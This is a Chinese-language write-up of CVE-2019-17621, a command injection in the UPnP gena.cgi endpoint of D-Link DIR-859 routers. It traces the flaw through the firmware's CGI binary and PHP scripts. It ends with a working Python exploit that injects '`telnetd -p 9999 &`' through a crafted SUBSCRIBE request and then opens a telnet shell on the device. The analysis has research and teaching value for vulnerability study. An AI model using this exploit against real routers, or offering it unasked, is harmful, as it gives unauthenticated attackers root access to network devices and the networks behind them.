CVE-2019–17621
漏洞介绍:
D-Link DIR-859 WIFI路由器1.05和1.06B01 Beta01中的UPnP端点URL/gena.cgi允许未经身份验证的远程攻击者以root身份执行系统命令
方法:向UPnP服务发送特制的HTTP SUBSCRIBE请求连接到本地网络
UPnP介绍:
通用即插即用协议==》(自动打开端口,无需用户为每个程序手动配置路由器)
当支持UPnP协议的设备开启此协议,当主机或主机上的应用程序向设备发出端口映射请求时,设备会自动为主机分配端口并进行端口映射,该协议从PNP协议中引申出来的==》PNP协议支持自动为新添加的硬件分配中断和I/O端口,用户无须再手工跳线,也不必使用软件配置程序
手工跳线:
==》在两种协议未出现之前==》最原始的添加设备的方法=》如果我们新添加了硬件==》
需要我们手动为新加的硬件设置终端和I/O端口==》手工跳线就是在新加硬件之后需要在对应的针脚上用小跳线插一下(对用户的要求十分高,效率低下)
D-Link DIR-859
固件提取:
binwalk -Me DIR859Ax_FW105b03.bin
漏洞定位:
./htdocs/cgibin
漏洞分析:
genacgi_main函数:
通过一些取值和判断的操作(伪造包的结构)==》
最终将伪造的参数通过sprintf传入缓冲区中
注意有路径为/htdocs/upnp/run.NOTIFY.php传入缓冲区
==》通过xmldbc_ephp函数
查看xmldbc_ephp函数:
a3为传入的报文
首先计算传入的报文的长度==》再发送给sub_41420c函数
查看sub_41420c函数:
此时我们传入的报文为a4==》报文会被传入sub_413810函数中==》
查看sub_413810函数:
a4为传入的报文==》程序通过send将报文发送给PHP
重点:
sprintf(
v36, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
"/htdocs/upnp/run.NOTIFY.php",
v1,
v0,
v2,
v19,
"/var/run",
v0);
xmldbc_ephp(0, 0, v36, stdout);
sprintf用于连接多个变量的值,填充一个缓冲区,设置要传递的新变量
由于程序将报文传入了/htdocs/upnp/run.NOTIFY.php中==》
查看/htdocs/upnp/run.NOTIFY.php:
<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")//服务判断
{
if ($SID == "")
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
?>
从$METHOD == “SUBSCRIBE开始判断==》进行服务判断
接下来对SID进行判断==》
调用GENA_subscribe_new函数==》
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
anchor($node_base);
$count = query("subscription#");
$found = 0;
/* find subscription index & uuid */
foreach ("subscription")
{
if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;}
}
if ($found == 0)
{
$index = $count + 1;
$new_uuid = "uuid:".query("/runtime/genuuid");
}
else
{
$index = $found;
$new_uuid = query("subscription:".$index."/uuid");
}
/* get timeout */
if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
/* set to nodes */
set("subscription:".$index."/remote", $remote);
set("subscription:".$index."/uuid", $new_uuid);
set("subscription:".$index."/host", $host);
set("subscription:".$index."/uri", $uri);
set("subscription:".$index."/timeout", $new_timeout);
set("subscription:".$index."/seq", "1");
GENA_subscribe_http_resp($new_uuid, $timeout);
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
函数的最后调用了GENA_notify_init==》
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
if ($inf_path=="")
{
TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
return "";
}
$phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
if ($phyinf == "")
{
TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
return "";
}
$upnpmsg = query("/runtime/upnpmsg");
if ($upnpmsg == "") $upnpmsg = "/dev/null";
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
" -V HDR_URL=".$uri.
" -V HDR_HOST=".$host.
" -V HDR_SID=".$sid.
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}
===》在函数的最后写了一个shell脚本==》
传入的$shell_file是一个脚本的名字==》
第一次调用fwrite向$shell_file中写入一些命令
第二从调用fwrite时向该文件添加新行==》本意为使用rm删除本身
==》如果$shell_file是一个由反引号包裹的命令==》RCE
(文件名字符串将被rm返回输出(空字符串)替换)
执行流程:
通过tcp 49152端口处理链:
data==》cgibin==》cgibin.genacgi_main==》sprintf($shell_file)==》send==》
run.NOTIFY.php==》gena.php($shell_file)==》在.sh脚本执行rm $shell_file时触发==》
URL从REQUEST_URI中获得,验证:
调用strchr()验证是否存在”0x3f”(ASCII为’ ? ‘)
调用strncmp()验证是否存在字符串”?service=”
EXP:
from http import server
import socket
import os
from time import sleep
def httpSUB(server,port,shell_file):
print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
con=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
payload += "Host: " + str(server) + str(port) + "\n"
payload += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
payload += "NT: upnp:event\n"
payload += "Timeout: Second-1800\n"
payload += "Accept-Encoding: gzip, deflate\n"
payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print("[*]Sendline Payload")
con.connect((socket.gethostbyname(server),port))
con.send(payload.encode())
payload = con.recv(4096)
sleep(1)
print("[*]Runing Telnetd Service")
sleep(1)
print("[*] Opening Telnet Connection\n")
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput,portInput,'`telnetd -p 9999 &`')